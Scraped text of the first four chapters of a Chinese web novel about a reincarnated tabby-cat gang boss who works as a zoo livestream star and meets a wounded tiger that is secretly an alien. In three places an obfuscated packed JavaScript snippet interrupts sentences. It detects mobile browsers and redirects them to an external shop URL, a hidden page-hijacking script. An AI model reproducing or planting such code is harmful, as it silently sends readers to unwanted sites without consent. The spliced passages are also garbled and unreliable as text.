《我,狸花猫,抚慰东北虎?》 1. 我,狸花,大哥【一更】 江野重生成了一只狸花猫。 没有主人,潇洒来去,地盘望不到边,每天从三米六的石板大床上苏醒,小弟阿妹一群的那种花臂大佬狸花。 他只记得自己的名字,不太记得自己上辈子都在干什么,是什么身份,但应该不是什么无名之辈。 后背毛被晒的蓬松柔软,沐浴在阳光下的江野翻了个身,继续晒自己的白肚皮。 江野把自己养的油光水滑,日日晨起锻炼,一身漂亮又能打的腱子肉,带着小弟们炸街而过,唬狗撵鸟的时候相当威武霸气。 ——他当猫都这么精彩,没道理当人的时候就是牛马。 最不济也肯定是牛马中的大哥。 江野喜欢自己的名字。 大猫朝着半空伸长自己的花臂猫爪,手指开花,藏在毛山竹爪里的指甲噌得弹出,锋锐又尖利。 大哥就得野。 够野才够味儿。 江野的尾巴尖翘起,晃动着抽打在自己三米六的石板大床上。 作为一只有规划,智商高的猫,江野合理安排了周末五天早中晚的食堂分别是哪家窗台。 偶尔嘴馋了,还承接帮人类找宠物猫服务打打牙祭。 “嗷——大哥!那小子又来了!” 不远处给大哥放哨站岗的奶牛猫转头嚎了一嗓子,那声音粗粝又豪迈,听得江野耳朵疼。 “说多少次了,讲话斯文一点,我们又不是什么恶棍。” 江野动作十分麻利地一个翻身,从四脚朝天的拉伸姿势瞬间转变为气场十足地优雅趴卧,两只前爪交叠搭在身前,身体修长,尾巴尖卷起,慢慢落在后脚腕上。 “嗷……咪。”黑白花的奶牛猫张嘴就想嗷,对上自家大哥扫过来的威严视线,夹着嗓子委委屈屈地咪了一声。 他被江野收做小弟的时候,正在街上堵着一个人类发癫……不对,是撒娇,结果努力整活了大半天,换来人类一脸惊恐地贴墙离开。 奶牛猫本想饿着肚子悻悻离开,脑壳就被从天而降的狸花猫结结实实扇了一巴掌。 奶牛猫当时看见狸花猫吓得爪垫打滑,愣是没跑动。 猫都是圈地盘的,越是强悍的猫地盘越大,味道放在这呢,没有哪只猫是真的不知道码头情况误闯进来,都是饿极了偷溜进来的。 这边地盘都属于一只花臂狸花狠猫的事儿在猫圈里广为流传,奶牛猫自然也知道。 他当时差点就觉得猫命到头了。 结果狸花大哥看似凶悍,实则温柔,带着他在有食物的地方转了几圈,还教他怎么正确分辨有食物的人类,并且进行友好的沟通(撒娇)。 ——大哥不允许猫们管这种行为叫撒娇,谁说谁挨打。 后来,奶牛猫有了个名字,叫大牛。 从此,大牛再也不是没有大哥罩着的野猫了。 想到往事,大牛对着江野扭扭捏捏地又咪了两声。 江野心里十分受用小弟的亲近奉承,但表面却表现得十分高傲沉稳:“行了,多大的猫了,带那小子过来。” 大牛其实经常听不懂大哥说话,但当小弟久了,就会变得擅长只抓关键词。 不一会儿,一只蓝眼睛的布偶猫就风驰电掣脚底打滑地冲到了江野面前。 并且在用脸刹车后,动作相当丝滑地一个下趴翻身,肚皮朝上,用圆溜溜的眼睛看向江野。 江野猫脸威严:“嗯,起来吧。” 像是一大团拖把的布偶猫立刻翻身坐直,垂着大尾巴,耳朵耷拉下来,用脑袋试探性地靠近江野,轻轻地顶,嘴里咪咪喵喵地叫。 这死出一看就知道是有事。 这小区地方偏,靠林有水风景好,但因为建得早,据说早年是被当做家属楼分的房子,不是那种会驱赶流浪猫的高档小区。 小区里养猫养狗的不在少数,品种猫江野见了不少,但没哪一只是比眼前这个更不安分的。 布偶猫住在一楼带花园的房子里,一楼嘛,有花园又有露台的,自然十分方便猫越狱。 猫菜还瘾大,天天想方设法越狱往外跑,这猫的主人是个小姑娘,在江野下逮猫单子都已经下成vvip客户了。 最开始那会儿接单的不是江野,是另一只狸花,差点没把这只布偶给揍成无毛猫,是江野路过看到了觉得不对劲,才把江湖追杀令改成了悬赏追踪令。 “你家里那个还没封窗?”江野看见这布偶就脑瓜疼。 大牛瞅了一眼布偶,前爪在地上磨了磨爪子。 咪的天,夹成什么样子了。 啧!没眼看! 布偶猫的眼睛湿漉漉的,看着特别无辜又可怜:“大哥,我会开门。” 江野的尾巴在石板上抽出了“啪嗒”的一声。 行,为数不多的脑子都用在了越狱上。 算了,看在vvip客户经常上供三文鱼水煮虾的份上,找只猫带着少爷逛两圈体验一下生活再送回去得了。 江野正准备发话,就见面前的布偶少爷呜呜嗷嗷的叫唤:“大哥大哥,我姐不动了!” 江野:“……?” vvip客户的确是自称布偶少爷的姐姐,但人类不动了是什么好词吗? 面前的布偶也不知道平常都学了些什么,看着蠢,词汇量倒是挺丰富,就是呜呜渣渣说了半天也听不出个所以然。 江野努力理解概括了一下:小姑娘躺地上不动了,并且没给布偶少爷加粮。 那问题是挺严重的。 江野站起身:“行,去看看。” 狸花猫刚站起身体,一只乳白长毛三花就从旁边走了出来,尾巴翘起。 江野转头对身边的三花秘书吩咐:“点几个机灵能打的,橘色的不要。” 客户都不动了,就别去人家家里吃饭了。 …… 其实江野也挺纳闷的。 主要是养布偶少爷的那家看着挺靠谱的,人美心善,怎么就能让这少爷天天往外跑。 直到江野看到这布偶少爷的开门方法。 门是防盗门,锁是密码锁,猫是布偶猫。 江野身后带着三只黑猫四只狸花,外加一只三花小秘书,眼睁睁看着声称会开门的布偶少爷站起来,两只前爪对着防盗门一阵狂搓。 江野:“?” 有傻猫啊! 这能把门打开他这个哥就倒过来叫。 江野分外无语地低头舔了舔自己的右爪,正准备吩咐小弟绕去窗户看看,就听见防盗门的门锁真的发出锁孔转动的声音,十几秒后,大门应声而开。 一只黑白边牧端坐在门口地垫上,对上门口幽幽看过来的一群猫,耳朵一动:“汪!” 布偶少爷脚底抹油就往家里冲,路过边牧的时候还不忘很敷衍但谄媚地蹭了一下狗。 江野:“……” 也对,布偶少爷的智商虽然不行,但会来事。 毕竟祖祖辈辈都是干这个的。 狸花大哥心情复杂地甩了下尾巴,带着小弟们走进防盗门。 卧室的地上趴着一个人,身上被盖了毛毯,江野有理由推测这毯子是边牧给盖的。 一身牛劲的布偶少爷没这个智商。 江野走到人类女孩身边轻轻嗅了嗅,然后抬起前爪,爪垫搭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998844|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩的额头。 嘶,烧得都烫猫爪了。 江野立刻收回爪子甩了几下。 他转头吩咐小三花秘书:“叫兄弟们去请医生,礼貌些。” 小三花秘书还没回答,旁边听到大哥吩咐的奶牛猫立刻嗷嗷:“知道了老大!” 江野不满:“强调多少次了,要说收到。” 原本蹲坐的小三花秘书横了奶牛猫一眼,站起来:“收到,喵~” 声音温温柔柔。 *** 沈青是被胃里的空落落叫醒的。 她揉着发沉的太阳穴坐起身,眼皮直往下掉。 昨晚那台流浪狗的肠穿孔手术做完已经快凌晨四点,沈青收了个尾写了报告单回来天都亮了。 凌晨叫的卤肉饭被吃掉了大半,这会儿还摊在桌子上。 沈青的脑袋还是昏沉沉的,她打了个长长的哈欠,大概收拾了一下,拎起垃圾袋,趿着拖鞋往楼下走。 她脚步虚浮着走到垃圾桶旁,正要抬手丢垃圾,一声娇滴滴的猫叫声突然钻进耳朵。 那声音软乎乎的,带着点奶气,不像成年猫的叫法,倒像是刚断奶的小奶猫在撒娇。 嗯? 沈青下意识顿住手,循声望去,就见垃圾桶斜对面的花坛边,蹲坐着一只圆滚滚的大橘猫。 那猫是真的胖,毛色是鲜亮的橘黄,夹杂着几缕乳白,肚子圆滚滚地耷拉下来,像揣了个小皮球。 它正歪着头看人,琥珀色的眼睛湿漉漉的,喵喵嗷嗷着,声音又嗲又甜。 沈青是宠物医生,对这些毛茸茸向来没抵抗力,平日里更是经常热心担当小区里流浪猫的拆弹医生。 这会儿看到这么一辆好脾气的撒娇.小猫,她心里的困意消了大半,忍不住往前走了两步,想伸手摸摸它的头。 宝宝能把自己养的这么好,一定是特别聪明的小猫。 可就在沈青弯腰的瞬间,橘猫突然转过身,慢悠悠地往小区深处走,尾巴高高翘起,露出两颗毛茸茸、圆滚滚的小绒球。 啊不对,能用辆做量词的橘猫,完全可以用绒毛巨蛋来形容。 沈青立刻掏出手机咔嚓拍照留念,夜班后的疲惫被这突如其来的可爱冲淡,她蹑手蹑脚自以为动作隐蔽地跟了上去,心里还盘算着怎么拐了猫去绝育。 大橘猫走得不快,时不时回头叫一声,像是在催人快点,那娇滴滴的叫声听得人心里发软。 沈青跟着它拐进了一条平时很少有人走的小巷,巷子两侧是斑驳的围墙,墙头爬满了藤蔓,阳光被挡在外面,巷子里有些阴凉。 越往里走,光线越暗,沈青的脚步顿了顿,心里莫名升起一丝异样。 她抬头想找那只大橘猫,却发现它不知何时已经不见了踪影,巷子里静得只剩下自己的脚步声。 一时间,各种不法分子训练猫狗诱惑人类的社会消息涌入沈青脑海,她伸手进衣兜,握住了放在里面的手术刀。 沈青压低声音,用猫语叫了一声,没得到任何回应。 就在这时,她眼角的余光瞥见黑暗中似乎有什么东西在闪。 沈青猛地转头。 巷子里原本空无一人的阴影处,突然冒出一双又一双绿幽幽的眼睛。 一群油光水滑的猫咪从黑暗里慢条斯理地走出来,十分礼貌地从前后左右堵住了沈青的路。 一只蓬松漂亮的三花猫从群猫中走出来,它靠近沈青的小腿,用前爪轻轻按了下沈青的拖鞋,然后毛茸茸的大尾巴竖起来,绕着沈青的小腿扫了一圈。 “喵呜。” 人,我们老大请你走一趟。 2. 受伤虎【二更】 江野是十分有威望有实力的大哥。 所以他手下的小弟们也十分有行动力。 甭管人是怎么请的,用了什么手段计谋,反正十五分钟后,医生抵达了布偶少爷家。 三花秘书告诉江野,这是因为医生正好出门,免了大家上门的功夫。 江野沉稳点头,甩了下尾巴。 负责押送、啊不对,是请医生的小弟们排队离开,走之前很礼貌地在门口被扯开的袋子里一嘴叼了一块冻干。 招待上门猫的当然不是布偶少爷,而是聪明能干的边牧狗子。 被边牧用嘴筒子拱到女孩身边的沈青蹲下来给女孩检查,对身边的猫异事件接受十分良好。 一开始被簇拥(劫持)着过来时,沈青的确怀疑过自己是不是熬夜熬出幻觉了,但在看到某只眼熟的狸花大哥后,沈青顿时就淡定了。 谁不知道野哥家大业大小弟多呢! 野哥牛皮。 在摸到手底下的温度后,沈青脸色一变,下意识转头问旁边的病人家属:“家里有温度计和感冒药吗?” 病人家属汪了一声,转头去翻箱倒柜连叼带拱过来了一个医药箱。 沈青:“……” 是边牧啊,那没事,聪明点很正常。 沈青叫边牧搭了把爪,将女孩背到了卧室的床上。 医药箱里有体温枪,沈青给女孩测了体温,38度,估计是发烧外加没吃饭,一个蹲起晕了。 都在小区里,家里养了宠物的都得去沈青那打疫苗洗澡,沈青和女孩其实也是熟人,就准备留在这照顾女孩醒来。 她从主卧走出来,看到客厅的群猫已经走完,就连那只漂亮的小三花都不见了,只剩下江野气场十足地趴在沙发上,沙发前面还趴着一只满眼都是崇拜的布偶猫。 沈青清了清嗓子:“今天周六,野哥不上班?” 江野原本在身后一晃一晃的尾巴尖突然一僵。 沈青掏出自己的手机十分贴心地给狸花大哥展示时间。 江野一骨碌从沙发上跳起来就往门外跑,眨眼消失在防盗门外。 三秒后,一只毛茸茸的花臂猫爪从门口伸进来,左摸右摸到放在门口的包装袋,扒拉走了两颗冻干。 周六周日是工作日,江野雷打不动去华夏第一动物园那边打卡上班,顺带巡视一番。 这年头大哥也不是好当的。 江野是大哥猫,手底下养着一群小弟阿妹还有漂亮秘书,自然是需要养家糊口的。 让小弟上供的大哥算什么大哥。 所以江野平常除了吃点人类边嘬边上供的贡品,打打悬赏找猫这类的小零工外,是有上班打卡的正经工作的。 他是动物园直播间的主播。 网红猫来的。 江野一周上两天的班,每个月工资都用来买猫粮猫条猫罐头分发给手下的小弟阿妹,送去定点刷新猫粮猫罐头的小弟食堂。 他自己倒是不缺这些,本来就走哪都有吃的,动物园里也有员工食堂,他还能偶尔近水楼台吃几口动物园里有编制的那些特配粮。 但成熟的大哥手下不仅有小弟,还有老弱病残孕的猫,这可都是需要额外照顾的家属。 这个小区当初就是动物园内部的家属房,沈青在小区开动物诊所,她的爷爷就是华夏第一动物园的园长,所以沈青和江野这只编外动物园明星员工低头不见抬头见,也算是很熟悉了。 但真正的交情纯属不打不相识。 沈青手上拆弹无数,对着江野这只狸花大哥的一双毛蛋觊觎已久,好几次以圈套利诱、下笼哄骗等手段试图剿蛋。 但江野是谁。 大哥从不上当。 反而从沈青手里骗了不少吃的。 想到这,赶着上班打卡的江野舔了舔自己的嘴巴。 也不知道今天熊猫园里有没有盆盆奶。 实在不行他也可以吃虎园的鲜肉沙拉。 *** 华夏第一动物园是全国名列前茅的野生动物园,占地约二十平方公里。 园区分为七大生态主题区,包含500多种、上万只动物,其中珍稀保护动物超过100种。 只不过从前动物园更多是做动物研究和科学保护方面,人气上差了不少,但自从有了狸花大哥,动物园直播间的人气值一路飙升,隔三差五就能上一次热搜,门票周边卖得火热。 因此,江野走在动物园里,路过的工作人员看到都会笑着招呼一声“野哥”。 江野一路走一路点头,掐着点从猫门走进办公室,跳上打卡机下边的桌子,伸爪拉开抽屉,从里面叼出一块工牌,仰头在打卡机上“嘀”了一声。 动物园的打卡机没办法识别猫脸,之前园长还专门找人来看过,最后实在是没办法解决江野的打卡问题,就专门做了个工牌让江野手动打卡。 也就是江野聪明,不然换了真正的小猫,肯定不可能月月拿全勤。 江野把工牌塞回抽屉,很是自得地坐在桌面上舔舔前爪,把脑袋伸进杯子喝了几口水。 办公室里一直盯着时间生怕江野迟到,甚至都准备帮猫同事打卡的工作人员们狠狠松了口气。 真不错,今天野哥也是有全勤的小猫! “野哥下午好啊,吃猫草棒不?” 狸花猫很礼貌地推拒。 他刚才吃了冻干,这会儿不馋,而且他不喜欢猫草棒。 “野哥尝尝这个榴莲猫餐盒?新口味呢!” 狸花猫龇牙,两只耳朵齐齐后压,爪子在桌面上磨了两下。 榴莲,狗都不吃。 “野哥吃鳕鱼条?就几口,解解馋。” 狸花猫想了想,低头凑过去吧嗒吧嗒开始舔。 嗯,鳕鱼可以,味道不错。 得到野哥的青睐,投喂了猫条的工作人员顿时昂首挺胸,像是打了胜仗一样笑嘻嘻地朝着同事们挤眉弄眼。 吃了每次上班前的上供,江野仰着脑袋让同事帮忙戴好运动摄像头,脑袋一热,两只耳朵中间被扣上了一个小帽子。 江野扭头看旁边墙上的镜子。 帽子上印着动物园的logo,和其他人类身上穿的工作服很像。 “对了野哥,今天园里来了一只大猫,有点凶,你记得别往北区去啊。” 给江野戴小帽子的那个是飞鸟区的男妈妈,江野还挺喜欢他的,闻着一股鸟味儿,还挺香。 “今天咱们不去北区,知道吗?” 鸟味的男妈妈在江野身前一脸担忧地弯腰,伸出一只手,说话声音特别慢,生怕江野听不懂。 “知道就握握爪。” 园里都知道,野哥是只极其聪明且十分有大哥包袱的猫,平常根本不会配合人类握手打转这样的口令,除非是真的听懂了。 江野不知道今天来的大猫是什么,但动物园里有的是猛兽,江野是最会保护自己的大哥,才不会往危险的地方凑。 于是狸花猫矜持抬爪,搭了一下鸟味男妈妈的手。 男妈妈笑起来,伸手打开了江野身上带着的摄像头。 “晚点再直播,咱们先拍点素材。” 江野嗷了一声表示知道了,转身走出办公室。 上班! …… 华夏第一动物园有七个园区,之前几周江野分别去了飞鸟世界、 爬行两栖、非洲草原、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998845|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海洋馆和澳美州区,按道理,保育中心又不对外开放,所以这周本应该去森林区的。 江野不是随便安排的顺序,而是看到了熊猫的食谱,专门饭点过去凑一顿营养餐的。 毕竟江野对什么窝窝头鲜竹子并不感兴趣。 问题是森林区在园区北部,恰好是男妈妈说的来了大猫的危险区域。 江野沉思着,在原地转了个圈。 正当江野忍痛决定放弃盆盆奶时,一股霸道的,迷人的,富有诱.惑力的香味儿幽幽传来,萦绕在猫鼻子边,化作小钩子,牵着江野不由自主地迈开猫步。 这是肉香味儿。 带着血的,新鲜的肉香。 等到江野一头撞上隔离门,发出一声咣当声时,江野的猫爪已经踏进了位于动物园北部的森林区。 …… 临时兽舍里,铁网与防弹玻璃层层围拢,却拦不住那股扑面而来的暴戾之气。 一只伤痕累累的东北虎伏在干草堆上,右前肢的伤口还在渗着暗红血珠,毛发被血痂粘成一绺绺,却丝毫不减它山林之王的威慑。 那双琥珀色的眸子布满血丝,死死盯着任何靠近的活物,喉间不断滚出低哑的咆哮,獠牙在昏暗中闪着寒光。 一举一动都充满了野性与威慑力,带着浓浓的警惕与防备。 它刚被转运来时便挣脱过一次束缚,粗壮的虎爪拍在铁栏上发出沉闷的巨响,震得周围人心头发紧。 兽医团队攥着麻醉枪,躲在安全通道后屏息凝神。 麻醉针带着轻微的 “咻” 声破空而出,精准扎进虎颈的厚皮里。 正常剂量足以让一头成年大象瘫软,众人原以为接下来便是等待它沉沉睡去,可这只东北虎只是猛地甩了甩头,像是被蚊虫叮咬般不耐烦地蹭了蹭脖颈。 一双虎目还是死死盯着不远处的人类。 过了好一阵,本应该起效的麻醉针迟迟无法令东北虎昏睡,兽医团队商量计算了一下,又发射了一针。 五分钟后,麻醉终于开始起效。 东北虎的动作明显迟缓下来,原本绷紧的肌肉微微松弛,琥珀色的眸子渐渐蒙上一层雾霭,意识在清醒与混沌间拉扯。 可即便如此,这只森林之王依旧撑着前肢没有倒下,庞大的身躯晃了晃,却硬生生稳住了重心。 喉间的咆哮弱了下去,变成断断续续的低吼,每一声都透着不甘与倔强,像是在对抗着身体里席卷而来的困意,强撑着不肯低头。 时间一分一秒过去,围观的工作人员手心都攥出了汗。 东北虎的眼皮越来越沉,视线开始模糊,连面前的铁栏都变得重影叠叠。 虎踉跄着后退半步,后肢微微打颤,却还是昂着头,琥珀色的眼睛里闪烁着山林间的凶悍与桀骜。 忽然,硕大的东北虎愣了一下,像是突然发现了什么,第一次视线从面前的人类身上挪开,看向另一个方向。 隔着玻璃,虎目对上一双瞪圆了的绿色猫眼睛。 又过了十分钟,麻醉药效持续蔓延,宽厚的虎背先着地,发出沉闷的声响,这只东北虎终于昏了过去。 好、好凶。 瘫在墙角的江野努力了好一阵,终于找回了自己的四肢,一点点站起来。 不远处的工作人员这才注意到江野,连忙跑过来,对着狸花同事嘘寒问暖,担忧江野一定是被这只超凶的野生东北虎吓到了。 江野立刻昂首挺胸,尾巴直愣愣地竖成一根天线。 开,开什么玩笑! 江野扭头拒绝了同事的安慰,硬着头皮,昂首挺胸,同手同脚顺拐着走出了门。 大、大哥……才不怕什么老虎! 3. 虎猫初见【三更】 “野哥怎么了?粮也不吃罐头也不尝的……” “发情了?咱野哥的作案工具可是还在呢!” “野哥身边不是跟着一只小三花呢?莫非——!” 说话的人因为惊喜提高音量。 竖着耳朵的江野猫尾巴“啪”地一下重重打在桌面上。 他就知道! 这些人拐他不成,一天天的就想着瓜分他生的小猫崽子! 江野只有上辈子作为人的本能和常识,记忆什么的很模糊,但再模糊,江野也做不到和小母猫贴贴生崽的行为,更不可能被人类抓去做噶蛋手术。 负责线上直播和视频剪辑的姜豆指了指背对几人的毛茸茸背影,夸张地做了个“咱野哥好面子”的口型。 他们刚才就看过移动摄像头里拍下的内容,哪里不知道江野被园里刚来的那只老虎吓了一大跳,工作群里还有人拍到狸花猫梗着脖子同手同脚走了十几米的视频,可爱得不得了。 但哄猫的时候哪能说真话呢。 熊猫园的奶爸潘乐恰好走进来,手里端着一小碗营养奶。 “奶来了奶来了!” 江野的鼻子动了动,胡须微抖。 布偶少爷上次跑出来偷喝奶据说拉了三天的肚子,但江野作为一只自由的狸花猫,能打且帅气,聪明能赚钱,铁一般的肠胃是大哥最微不足道的优点。 吃嘛嘛香。 大哥是有点觉得伤面子,但大哥不会和嘴巴过不去,尤其是盆盆奶这种少有的稀罕东西。 蹲在角落面壁的江野一点点转过身体,自认十分矜持优雅地低下头,开始吧嗒吧嗒舔盆盆奶。 猫耳朵一边下压,一边竖起,光明正大偷听人类讲话。 “那头东北虎情况怎么样?我看群里说加大了麻醉剂量过了好一阵子才放倒?” “可不是,这都多少年没发现过完全野生的东北虎了,真又野又凶。” “身上据说除了有撕咬伤和利器伤,还有烧伤和枪伤,前腿那口子都开始溃烂了,后腿伤口甚至都能看到骨头,八成是捕猎过程中遇上偷猎的,虽然逃了但伤没办法好,那些就该下地狱挨千刀的混蛋!” “手术是做完了,但虎醒了之后问题还多着呢。” “虽说野生动物对人类警惕是好事,但太警惕了就怕绝食,还有之后的换药检查,大伤口清创上麻醉正常,小伤一直上麻醉也不是个事。” “唉,救助工作就是这样的,又没办法和老虎说话,摸石头过河一步步试呗,能咋办……” 江野就着一碗营养奶听完了那头老虎的情况,从刚才恼羞成怒的忿忿逐渐转变成些许出自同类的怜爱。 大猫小猫都是猫,博爱的大哥平等怜爱一切过得不好的猫。 江野抬起爪子舔了舔,擦干净自己的嘴巴,整理好胡须,低低“喵嗷”了一声。 摄像头被重新戴回狸花猫的脖子上,江野抬爪轻拍了下旁边的工作帽,示意这个也要。 “咱野哥真帅!” “园区顶流!” 江野被夸得翘起长尾巴,尾巴尖尖打着卷,带着摄像头走了出去。 下午这会儿就是直播了,动物园里也有不少抢了票进来参观的游客。 动物园周内的票是很富裕的,但一到周末就全部售罄,除了工作日抽不出空的原因外,更多是因为江野这只网红大哥只有周末才上班。 为了员工的安危着想,园区的隔离区域江野是进不去的,他走的路线和园区工作人员一样,所以直播的时候不可避免会被人群里偶尔伸出来的手摸一把。 午后的光透过熊猫馆的穹顶玻璃,在地面投下斑驳的光斑。 阳光把江野身上的虎斑纹烤出根根分明的蓬松感,像是刚出炉的核桃酥,带着一种走到哪勾.引到哪的阳刚(魅猫)之气。 江野踩着猫步,却在走进场馆的瞬间就垂下尾巴,严严实实挡住身后不能被游客拍摄的隐私部位。 他跳上观景台旁的矮墙,翡翠色的猫眼扫过满场游客,耳尖微微转动。 “野哥来了!” “攻略说的没错,野哥果然这周轮到巡视森林馆了!” “妈妈,是猫猫!” 见多了世面的大哥对此起彼伏惊呼的置若罔闻,只矜持地抬了抬下巴,回应众人的注目礼。 “啊啊啊啊阿伟死了!这小脑壳!这小下巴!这小帽子!” “太可爱了吧!!!” 江野无声哼哼。 “说什么呢!咱野哥这叫帅气,霸气~” 大哥用尾巴拍拍墙头表示赞同,结果下一秒就听那声音话音一转—— “嘬嘬嘬,野哥看我!” 江野把脑袋扭到相反的方向,头都不回地往前走。 沿着玻璃往前走,江野的视线扫过里面的几坨黑白熊。 在江野直播间出道前,园里最出名的、周边卖的最好的就是熊猫园,奔着几只熊猫买票来看的游客最多,其他场馆稍显冷清的时候,只有熊猫馆永远有咔嚓咔嚓拍照的声音。 但江野不喜欢熊。 大哥喜欢猫。 哪怕熊猫沾边了一个猫字,那也是熊。 防爆玻璃里面,最胖的萌宝哼哧哼哧爬上双杠,把自己卡在两截粗木头中间,肚皮被兜住,四条短腿在半空前划船似的摆动着。 江野低喵了一声。 ——傻憨憨的一大坨,一点都不灵巧。 “哎呀!妈妈,熊熊卡住了!”小女孩兴奋又担忧的声音从人群传出。 “熊熊在玩呢,是不是特别可爱?”小女孩的妈妈嗓音带着笑。 “熊熊可爱!” 江野瞳孔收缩,耳朵往后撇了撇。 他都习惯了,人类比大哥还博爱,见一个可爱一个。 人类的嘴,骗猫的鬼。 其实江野对猫以外的动物没感觉,主要还是因为语言不通,沟通不来,没有那种身为同类自然而然的亲近。 熊吼狗叫鸟扑腾的声音会吵得猫耳朵疼。 江野跳上旁边的智能讲解机器人,踩着机器人的脑袋调整自己的面向,把直播摄像头对准熊猫馆,端坐着开始给自己舔毛。 全然不顾直播摄像头因为他舔毛动作的镜头颤抖,以及时不时入镜擦过的粉色猫爪垫。 等到玻璃前的游客都换了一波,自觉熊猫馆的直播时长差不多了,江野站起身,伸了个弧度完美、每一块肌肉都拉伸出流畅线条的懒腰。 江野蹬着机器人的后脑勺轻巧落地,动作完美。 无视了机器人委屈巴巴的“请不要殴打小宝”提示音,江野熟门熟路地往前走,钻进熊猫馆侧门通道的阴影时,隐约还能听见身后传来的带着兴奋的惊呼声。 在北区转了一圈,江野把凑够了直播时长的摄像头还回办公室,打卡下班。 走的时候猫嘴里叼着一个小布袋,里面鼓鼓囊囊装了一包的冻干。 这冻干是园长特批给江野的,不算在工资里,属于优秀员工的福利。 江野步伐轻盈地走在墙头,弹性十足的爪垫隐藏了所有的脚步声。 走到转角处,江野正准备往园区外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998846|193926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的树枝上跳,就听到旁边小路上传来人类小声蛐蛐的声音。 “群里野哥的视频被删了,你存了没?” 猫的视频? 江野预备跳跃的动作一顿,眯了眯眼,无声卧了下来。 “哈哈哈我存了!发你!” “来来来,明天给你带早餐!” “客气的,都是小事儿~” 狸花猫静静卧在树枝树叶的遮挡后,看着下面的两个人类掏出手机头对头进行了一番交易。 “哇!我还是第一次看到野哥这么怂怂又可爱的样子!大猫小猫,好可爱。” “是吧是吧!野哥上次体检有十二斤呢,平常看也挺大一只,结果在老虎面前像是一只虎皮蛋糕卷,同手同脚梗着脖子偷偷溜走什么的,可爱死了!” 江野的指甲噌得弹出来,对着墙头的砖头就是嘎吱嘎吱一顿磨。 听到动静,碰头交易的两个饲养员顿时后背一僵,表情一滞,看天看地就是不看磨爪声传来的方向,吹着口哨装作无事发生一般离开了案发现场。 江野不是寻常的猫,他听得懂两个饲养员在说什么。 听得非常清楚且明白。 猫的糗事视频,被发到园区群聊广泛传播,过不了多久肯定够人手一份,到时候指不定在背后怎么蛐蛐他! 江野的腮帮子鼓起来,胡须抖得厉害,那双翡翠色的眼睛越眯越窄,里头的小火苗也越烧越旺。 一股火气 “腾” 地从尾巴根窜到了耳朵尖。 越想越气。 越气越觉得不行。 大哥的名声! 大哥不要面子吗! 行动。 必须行动,一雪前耻! 江野 “喵” 地低哼一声,尾巴猛地一甩,扫落搭在墙头的几片落叶。 他跳下来,先是在树后的草丛找了个角落把冻干藏进去,然后前爪扒拉了地上的落叶将小布袋仔仔细细埋好,这才转过身,气势汹汹地朝着虎园的方向蹿去。 …… 秦寂趴卧在地上,身周是一层防护铁丝网外加一圈防爆隔离玻璃。 这种约束手段在秦寂眼里实在过于落后,隔离材质脆硬,还没通电,一爪子就能拍裂开。 不过他知道这的人是把他当野生动物救助了,所以秦寂也没想恩将仇报出去吓唬人。 左右在哪都是养伤,他现在精神力枯竭,没办法恢复人形前,在动物园待着也算是个清净的地方,毕竟这么大一头老虎,在人类聚集地实在是不好藏身。 但那些生肉和麻醉针…… 秦寂低头看向自己左前爪被缝合包扎的伤口,想到自己沦落至此的原因,心下轻啧。 算了,虎在屋檐下,还是装一下为好。 以免引来不必要的麻烦。 秦寂舒展身体,将毛茸茸的大脑袋搭在交叠的前爪上,准备闭目养神,身后分布着一圈圈黑色缓纹的虎尾搭在后爪上,尾巴尖尖一翘又一翘。 整头虎看似适应了环境开始放松,实则仍旧处于警惕状态。 忽然,秦寂的精神一动,察觉到有什么东西正在靠近。 这感觉……怎么像是精神力? 这个在星域图里甚至没有标注的原始星球,怎么可能存在除他以外的精神力?! 秦寂有些怀疑自己,屏息凝神再次感知。 ——虽然有点弱,但的的确确是精神力。 秦寂猛地睁开眼,锐利的眸光投向精神力隐约跳动的方向。 精准逮住一颗猫猫祟祟探出来的猫脑袋。 4. 绝食虎【四更】 是只猫崽子。 丁点大。 虎瞳和角落里那双慢慢吞吞探出来偷看的猫眼睛对上,秦寂还在思忖,那颗猫脑袋就以迅雷不及掩耳之势缩了回去。 但猫没走。 还在墙角窝着。 嗯……似乎还炸毛了。 秦寂的精神海枯竭,这会儿没办法外放精神力和那只小猫隔空沟通,但只要对方靠近,秦寂就能感觉到那团暖洋洋的精神力。 还挺有活力。 秦寂对自己的体型心里有数,当即闭上眼睛,脑袋重新搭回虎爪上,眼皮悄悄掀开一条缝,偷看小猫所在的方向。 那颗猫脑袋对着隔离室看了好几次,直到确定老虎睡着了,这才在墙角做了一番猫式伸展,两只紧绷的前爪甚至都伸到了玻璃前面。 